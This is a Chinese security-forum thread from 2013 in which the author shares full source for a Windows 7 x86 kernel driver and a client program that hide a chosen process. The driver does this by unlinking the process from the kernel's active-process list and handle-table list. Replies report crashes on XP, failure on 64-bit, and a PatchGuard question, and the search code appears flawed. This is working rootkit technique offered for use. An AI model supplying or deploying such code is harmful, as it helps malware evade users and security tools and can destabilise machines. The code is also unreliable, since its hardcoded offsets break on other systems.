首页
社区
课程
招聘
一个菜鸟的内核学习——Win7内核隐藏进程
发表于: 2013-5-10 22:51 19018

一个菜鸟的内核学习——Win7内核隐藏进程

2013-5-10 22:51
19018

写了个WIN7隐藏驱动程序,不多说什么,贴代码,主要包括驱动程序和应用程序。
开发环境:win7+VS2012+WDK8.0
其他操作系统不支持
详情请看附件,大牛勿喷……
//驱动程序:
//*********************************
//fsjaky
//blog:http://blog.csdn.net/fsjaky
//*********************************
#include <ntddk.h>

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;

#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)

//偏移量
//win7
#define PIDOFFSET 0Xb4      //EPROCESS中UniqueProcessId偏移
#define FLINKOFFSET 0xb8    //EPROCESS中ActiveProcessLinks偏移
#define ObjectTable 0xf4    //EPROCESS中ObjectTable偏移

#define TableList 0x10      //ObjectTable中HandleTableList偏移
#define PIDOFFSET2 0x008    //ObjectTable中UniqueProcessId偏移
#define QuotaProcess 0x004  //ObjectTable中QuotaProcess偏移

PDEVICE_OBJECT g_Device = NULL;
const WCHAR LinkName[]  = L"\\DosDevices\\MyHideProcess";
const WCHAR DriverName[]  = L"\\Device\\MyHideProcess";
#define   DebugPrint                DbgPrint   

DWORD g_Eprocess = 0x00000000;  //
PLIST_ENTRY g_HandleList = NULL;
DWORD FindProcessInEPROCESS (int Hide_PID);
VOID FindProcessInHandleTable (DWORD eproc,int Hide_PID);

NTSTATUS MyDispatch(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS MyUnload(IN PDRIVER_OBJECT);

NTSTATUS DriverEntry(
                                   IN PDRIVER_OBJECT  DriverObject,
                                   IN PUNICODE_STRING RegistryPath
                                        )
{
       
    NTSTATUS                ntStatus;
    UNICODE_STRING          DriverNameUnicodeString;
    UNICODE_STRING          DriverLinkUnicodeString;
        DbgPrint ("DriverEntry\n");
    RtlInitUnicodeString (&DriverNameUnicodeString, DriverName );
    RtlInitUnicodeString (&DriverLinkUnicodeString, LinkName );

        //创建设备
    ntStatus = IoCreateDevice ( DriverObject, 0, // For driver extension
                                &DriverNameUnicodeString, FILE_DEVICE_UNKNOWN,
                                0,TRUE, &g_Device );
         if( !NT_SUCCESS(ntStatus))
        {
                DebugPrint(("Failed to CreateDevice!\n"));
                 return ntStatus;
        }
         //创建符号链接
         ntStatus = IoCreateSymbolicLink (&DriverLinkUnicodeString, &DriverNameUnicodeString );
    if( !NT_SUCCESS(ntStatus))
        {
        DebugPrint(("Failed to CreateSymbolicLink!\n"));
        return ntStatus;
    }
   
         DriverObject->MajorFunction[IRP_MJ_CREATE]          = MyDispatch;
     DriverObject->MajorFunction[IRP_MJ_CLOSE]           = MyDispatch;
     DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = MyDispatch;
     DriverObject->DriverUnload                          = MyUnload;
        DbgPrint ("DriverEntry leave\n");
    return STATUS_SUCCESS;
}

NTSTATUS MyUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
        PDEVICE_OBJECT                        p_NextObj;
        DbgPrint ("Start MyUnload\n");
        p_NextObj = DriverObject->DeviceObject;
        if (p_NextObj == NULL)
        {

                DbgPrint ("MyUnload Error\n");
                return STATUS_SUCCESS;
        }

        else
        {
                RtlInitUnicodeString( &deviceLinkUnicodeString, LinkName );
                IoDeleteSymbolicLink( &deviceLinkUnicodeString );
                IoDeleteDevice( DriverObject->DeviceObject );
        }
        DbgPrint ("End MyUnload\n");
        return STATUS_SUCCESS;
}
NTSTATUS MyDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
    NTSTATUS nStatus = STATUS_SUCCESS;
        ULONG IoControlCode = 0;
        PIO_STACK_LOCATION IrpStack = NULL;
    long* inBuf = NULL;
        char* outBuf = NULL;
        ULONG inSize = 0;
        ULONG outSize = 0;
        PCHAR buffer = NULL;
        NTSTATUS                                ntstatus = STATUS_SUCCESS;
        int        find_PID = 0;
        DWORD eproc      = 0x00000000;
        DWORD start_eproc= 0x00000000;
        PLIST_ENTRY          plist_active_procs = NULL;
       
        DbgPrint ("Start MyDispatch\n");
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
   
        IrpStack = IoGetCurrentIrpStackLocation (Irp);
    switch (IrpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:
                IoControlCode           = IrpStack->Parameters.DeviceIoControl.IoControlCode;
         switch (  IoControlCode )
                {
                        case IOCTL_HIDE_PROCESS:
                        inSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;
                        outSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;                       
                        inBuf = (long*)Irp->AssociatedIrp.SystemBuffer;
                         
                        if ((inSize < sizeof(DWORD)) || (inBuf == NULL))
                        {
                                DbgPrint("inBuf Error\n");
                                ntstatus = STATUS_INVALID_BUFFER_SIZE;
                                break;
                        }

                        find_PID = *((DWORD *)inBuf); //获得应用程序输入的PID
                        DbgPrint("The Input PID is :%d\r\n",find_PID);
                        eproc = FindProcessInEPROCESS(find_PID );// 在EPROCESS结构中找到这个进程
                        plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                        *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
                        *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
                       
                       
                        //修改HandleList
                        // HandleTableList
                        FindProcessInHandleTable(eproc,find_PID );// 在HandleTableList中找到这个进程
                        *((DWORD *)g_HandleList->Blink) = (DWORD) g_HandleList->Flink;
                        *((DWORD *)g_HandleList->Flink+1) = (DWORD) g_HandleList->Blink;
                  break;
                default:
                        break;
                }
    }
        ntstatus =  Irp->IoStatus.Status;
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
        DbgPrint ("End MyDispatch\n");
    return ntstatus;   
}

DWORD  FindProcessInEPROCESS (int Hide_PID)
{
        DWORD eproc       = 0x00000000;
        int   current_PID = 0;
        int   start_PID   = 0;
        int   count   = 0;
        PLIST_ENTRY plist_active_procs;
       
        DbgPrint ("Start  FindProcessInEPROCESS\n");
        if (Hide_PID == 0)
                return Hide_PID;

        //遍历ActiveList
        eproc = (DWORD) PsGetCurrentProcess();
        start_PID = *((DWORD*)(eproc+PIDOFFSET));
        current_PID = start_PID;
        DbgPrint("Start Search In ActiveList\n");
        while(1)
        {
                if(Hide_PID == current_PID)
                {
                        g_Eprocess = eproc;
                        DbgPrint("EPROCESS is %ld\n",g_Eprocess);
                        return eproc;
                }
                else if((count >= 1) && (start_PID == current_PID))
                {
                        return 0x00000000;
                }
                else {
                        plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                        eproc = (DWORD) plist_active_procs->Flink;
                        eproc = eproc - FLINKOFFSET;
                        current_PID = *((int *)(eproc+PIDOFFSET));
                        count ++;
                }
        }
        DbgPrint("End Search In ActiveList\n");

}

VOID  FindProcessInHandleTable (DWORD eproc,int Hide_PID)
{
        PLIST_ENTRY HandleTableList=NULL;
        PLIST_ENTRY start_list = NULL;
        int   handle_PID  = 0;
        //遍历HanldeTable
        DbgPrint("Start Search In HanldeTable\n");

        HandleTableList=(PLIST_ENTRY)(*(PULONG)((ULONG)eproc+ObjectTable)+TableList);
        start_list = HandleTableList;
        do {
                handle_PID = *(PULONG)(*(PULONG)((ULONG)eproc+ObjectTable)+PIDOFFSET2);
                if(Hide_PID == handle_PID)
                        {
                                g_HandleList = HandleTableList;
                                break ;
                        }
                HandleTableList = HandleTableList->Flink;
        } while(start_list != HandleTableList);
        DbgPrint("End Search In HanldeTable\n");
}

//应用程序
//*********************************
//fsjaky
//blog:http://blog.csdn.net/fsjaky
//*********************************
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<winioctl.h>

#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)

int main()
{
        long pid = 0;
        DWORD ReBytes = 0;
        HANDLE hDevice;
        hDevice = CreateFile("\\\\.\\MyHideProcess",
                GENERIC_READ|GENERIC_WRITE,
                0,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);
        if(hDevice == NULL)
        {
                printf("CreateFile Error %d\n",GetLastError());
        }

        printf("Please Input a PID to Hiden:");
        scanf("%ld",&pid);
        DeviceIoControl(hDevice,
                IOCTL_HIDE_PROCESS,
                &pid,
                sizeof(long),
                NULL,
                0,
                &ReBytes,
                NULL);
        CloseHandle(hDevice);
        system("pause");
        return 0;
}


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (18)
雪    币: 280
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错,赞一个。
2013-5-11 00:31
0
雪    币: 134
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
下载并保存网页•﹏•
2013-5-11 07:08
0
雪    币: 242
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
感谢分享,支持.
2013-5-11 07:56
0
雪    币: 11110
活跃值: (17638)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
支持楼主分享驱动源码
2013-5-11 08:39
0
雪    币: 218
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我表示.我没看是win7上的。 在XP上。直接卡死。。关都关不掉。。重启ing......
2013-5-11 08:48
0
雪    币: 188
活跃值: (616)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
Nice, thanks for share ^^
2013-5-17 22:51
0
雪    币: 11
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
这个东东r3下就可以枚举
比如枚举csrss句柄表
openprocess 从1到10万一个个打开……
2013-5-17 22:57
0
雪    币: 2
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
支持楼主分享驱动源码
2013-10-7 21:35
0
雪    币: 220
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
xp的EPROCESS结构的地址和win7x86的不一样,所以蓝屏了,改地址就行了,x64还是蓝屏不知何故,求大神解释??
2014-4-26 20:45
0
雪    币: 2264
活跃值: (307)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
11
不错,赞一个。
2014-5-4 13:09
0
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
想学内核有什么推荐的资料吗
2014-5-4 14:32
0
雪    币: 66
活跃值: (49)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
寒江独钓、还有张帆的windows驱动开发技术详解
2014-5-5 17:40
0
雪    币: 110
活跃值: (34)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
14
通过PID得到PEPROCESS不用去遍历ActiveProcessLinks,直接使用这个内核API即可:

NTSTATUS PsLookupProcessByProcessId(
  _In_   HANDLE ProcessId,
  _Out_  PEPROCESS *Process
);
2014-5-5 23:50
0
雪    币: 110
活跃值: (34)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
15
如果想要学习内核的话,最好先对Windows内核有足够的理解,第一步应该是打好基础,推荐阅读潘爱民的《Windows内核原理与实现》。
只后学习驱动编程相关的知识(其实内容很少),寒江独钓啥的都可以,然后学习内核中常见的对抗手段,这个看啥说不好,还是看代码吧。
如果想走得更远,了解IA32体系与架构也很有必要,啃手册或者看相关的书(名字忘了……)
2014-5-5 23:57
0
雪    币: 294
活跃值: (119)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
16
mark
2014-5-6 00:30
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
win7 64位 没有效果 请问有没有什么方法可以在win7 64位系统中隐藏进程?
2014-5-11 21:30
0
雪    币: 211
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
64位的原理和32位一样,只是64位系统里面的EPROCESS 肯定和X86下不一样,用64位的windbg进行内核调试,然后直接看dt _EPROCESS 或 dt _KPROCESS 自己去找对应的偏移就行了。
2014-5-20 16:07
0
雪    币: 207
活跃值: (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
在win7上会触发patch  guard吗?
2017-11-24 21:59
0
游客
登录 | 注册 方可回帖
返回
//